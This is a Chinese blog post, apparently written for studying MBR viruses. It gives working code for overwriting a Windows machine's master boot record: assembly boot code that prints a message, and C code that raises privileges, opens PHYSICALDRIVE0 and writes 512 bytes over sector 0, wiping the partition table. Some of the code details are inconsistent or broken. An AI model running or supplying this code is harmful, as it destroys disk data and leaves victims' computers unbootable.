一个改写MBR的例子
想要对MBR类的病毒进行一下研究与学习,在此期间,看了很多资料,其中帮助最大的就是金龟子学姐和willj学长发表的文章。一个从源码与实现角度来讲了一下,另外一个从反病毒角度来分析。
- 准备好将要写入的MBR
- 提升程序权限 调用CreateFile函数去打开物理驱动器的时候,必须具备调试权限,否则就会打开失败,打开失败我们就不能对MBR进行读取了
- 打开"\\\\.\\PHYSICALDRIVE0"文件 \\\\.\\PHYSICALDRIVE0"文件表示本机的物理驱动器0(一般是主硬盘),也就是我们的MBR。
- 写入MBR
assume cs:codecode segmentstart:mov ax,12h ;使用12号功能,对显示器进行设置int 10h;显示器的设置mov bp, 7C18H ;字符串的起始偏移,为啥是7c18呢?代码得长度干好18H,哈哈mov cx, 13h ;字符串长度mov ax,1301h ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01Hmov bx,0Ch ;BH = 00H BL = 0CHmov dx,0h;起始的行列int 10hjmp $ ;无线循环,防止代码进入数据区code endsend start
- 对显示器进行设置
mov ax,12h ;使用12号功能,对显示器进行设置int 10h ;调用int 10h中断
- 指定显示字符串
mov bp, 7C18H ;字符串的起始偏移,为啥是7c18呢?代码得长度刚好18H,哈哈mov cx, 13h ;字符串长度
- 对字符串显示进行设置
mov ax,1301h ;AH = 13h 调用功能号13 ,在teletype模式下显示字符串,AL = 01Hmov bx,0Ch ;BH = 00H BL = 0CHmov dx,0h ;起始的行列
BH=页码
BL=属性,文字模式或颜色 (若AL=00H或 01H)
CX=显示字符串长度
(DH、DL)=坐标(行、列)
ES:BP=显示字符串的地址 AL=显示输出方式
0—— 字符串中只含显示字符,其显示属性在BL中。显示后,光标位置不变
1——字符串中只含显示字符,其显示属性在BL中。显示后,光标位置改变
2 ——字符串中含显示字符和显示属性。显示后,光标位置不变
3——字符串中含显示字符和显示属性。显示后,光标位置改变
出口参数:无
- 用到的工具

- 用到的指令
C:\masm>masm C:\Users\xiaopao\Desktop\4.asm

#include "stdafx.h"#include <Windows.h>#include <TlHelp32.h>char temp[512]={0xB8,0x012,0x000,0x0CD,0x010,0x0BD,0x018,0x07C,0x0B9,0x00F,0x000,0x0B8,0x001,0x013,0x0BB,0x00C,0x000,0x0BA,0x000,0x000,0x0CD,0x010,0x0E8,0x0FE,0x06D,0x061,0x06B,0x065,0x020,0x062,0x079,0x020,0x078,0x069,0x061,0x06F,0x070,0x061,0x06F,0x000};//自己写一个函数来提权。void GetPrivileges(){//定义一个PLUIDHANDLE hProcess;HANDLE hTokenHandle;TOKEN_PRIVILEGES tp;//获取当前进程的句柄hProcess = GetCurrentProcess();//OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTokenHandle);//函数查看系统权限的特权值,返回信息到一个LUID结构体里。tp.PrivilegeCount =1;LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);tp.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hTokenHandle,FALSE,&tp,sizeof(tp),NULL,NULL);CloseHandle(hTokenHandle);CloseHandle(hProcess);}//下面的函数来读取"\\\\.\\PHYSICALDRIVE0"void ReadPHYSICALDRIVE0(){HANDLE hFile;DWORD dwReadSize;// char lpBuffer[512];//使用createFile打开这个文件char str_Name[] = "\\\\.\\PHYSICALDRIVE0";hFile = CreateFile(str_Name, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL ,0);if (hFile == INVALID_HANDLE_VALUE){MessageBox(0, "wrong", "wrong", 0);}BYTE pMBR[512] ={0}; ;MBR为512个字节memcpy(pMBR,temp,sizeof(temp)-1);pMBR[510] =0x55; ;最后的标记位pMBR[511] = 0xAA;//用readfile来读取文件WriteFile(hFile, pMBR, 512, &dwReadSize, NULL);}int _tmain(int argc, _TCHAR* argv[]){GetPrivileges();ReadPHYSICALDRIVE0();return 0;

一个改写MBR的例子的更多相关文章
- 又一个改写MBR的病毒(TDSS TDL4)
此毒为TDSS TDL4 的又一个变种.RIS2011 目前尚未收录此毒.此毒的主要行为是改写MBR,并在硬盘尾部的190个扇区内写入病毒代码.病毒的上述动作可穿透还原类软件对系统的保护.我在Acro ...
- 关于Java中的继承和组合的一个错误使用的例子
[TOC] 关于Java中的继承和组合的一个错误使用的例子 相信绝大多数人都比较熟悉Java中的「继承」和「组合」这两个东西,本篇文章就主要就这两个话题谈论一下.如果我某些地方写的不对,或者比较幼稚, ...
- 一个简单的CORBA例子
因为对CORBA分析的需要,这里写一个简单的CORBA例子.从JDK1.2开始,JDK中集成了ORB的实现,本例子使用了JDK1.7,对于JDK1.2+应该都没有问题.这个例子实现一个简单的加减乘除的 ...
- java 多线程——一个定时调度的例子
java 多线程 目录: Java 多线程——基础知识 Java 多线程 —— synchronized关键字 java 多线程——一个定时调度的例子 java 多线程——quartz 定时调度的例子 ...
- 轻松创建nodejs服务器(1):一个简单nodejs服务器例子
这篇文章主要介绍了一个简单nodejs服务器例子,本文实现了一个简单的hello world例子,并展示如何运行这个服务器,需要的朋友可以参考下 我们先来实现一个简单的例子,hello world ...
- 使用Multiplayer Networking做一个简单的多人游戏例子-3/3(Unity3D开发之二十七)
使用Multiplayer Networking做一个简单的多人游戏例子-1/3 使用Multiplayer Networking做一个简单的多人游戏例子-2/3 使用Multiplayer Netw ...
- 使用Multiplayer Networking做一个简单的多人游戏例子-2/3(Unity3D开发之二十六)
猴子原创,欢迎转载.转载请注明: 转载自Cocos2Der-CSDN,谢谢! 原文地址: http://blog.csdn.net/cocos2der/article/details/51007512 ...
- 使用Multiplayer Networking做一个简单的多人游戏例子-1/3(Unity3D开发之二十五)
猴子原创,欢迎转载.转载请注明: 转载自Cocos2Der-CSDN,谢谢! 原文地址: http://blog.csdn.net/cocos2der/article/details/51006463 ...
- 一个简单的cmake例子
一个简单的cmake例子CMakeLists.txt,生成动态库文件,可以指定发布目录. 尚不支持: 1.交叉编译环境配置 2.添加依赖库 #在当前目录新建一个build目录,然后cd build ...
随机推荐
- pandas绘图总结
转自:http://blog.csdn.net/genome_denovo/article/details/78322628 pandas绘图总结 pandas中的绘图函数(更加详细的绘图资料可参考p ...
- 2018/03/29 每日一个Linux命令 之 ping
ping 用于测试两及其网络是否通 主要用于检测网络是否通畅. -- 具体语法 ping [-dfnqrRv][-c<完成次数>][-i<间隔秒数>][-I<网络界面&g ...
- 【转】锁(lock)知识及锁应用
sql server锁(lock)知识及锁应用转自:http://blog.csdn.net/huwei2003/article/details/4047191 关键词:锁提示,锁应用 提示:这里所摘 ...
- 004-spring cloud gateway-网关请求处理过程
一.网关请求处理过程 客户端向Spring Cloud Gateway发出请求.如果网关处理程序映射确定请求与路由匹配,则将其发送到网关Web处理程序.此处理程序运行通过特定于请求的过滤器链发送请求. ...
- PHP导出excel时数字变为科学计数的解决方法
在数据导出到excel时数字格式不对,一般分为以下两种情况. 1.excel单元格设置长度不够 解决方法: //在excel.php文件中 $objActSheet = $objPHPExcel-&g ...
- SQL 4
SQL WHERE 子句 WHERE 子句用于过滤记录. SQL WHERE 子句 WHERE 子句用于提取那些满足指定标准的记录. SQL WHERE 语法 SELECT column_name,c ...
- python中各种数据类型
数字类型 整型int 作用:年纪,等级,身份证号,qq号等与整型数字有关 定义: age=10 #本质age=int(10) 浮点型float 作用:薪资,身高,体重等与浮点数相关 salary=3. ...
- redis5.0主从配置
1.下载 wget http://download.redis.io/releases/redis-5.0.3.tar.gz .tar.gz cd redis- make make test //检查 ...
- (转)Mybatis insert后返回主键给实体对象(Mysql数据库)
<insert id="insert" parameterType="com.zqgame.game.website.models.Team"> & ...
- Directed Graph Loop detection and if not have, path to print all path.
这里总结针对一个并不一定所有点都连通的general directed graph, 去判断graph里面是否有loop存在, 收到启发是因为做了[LeetCode] 207 Course Sched ...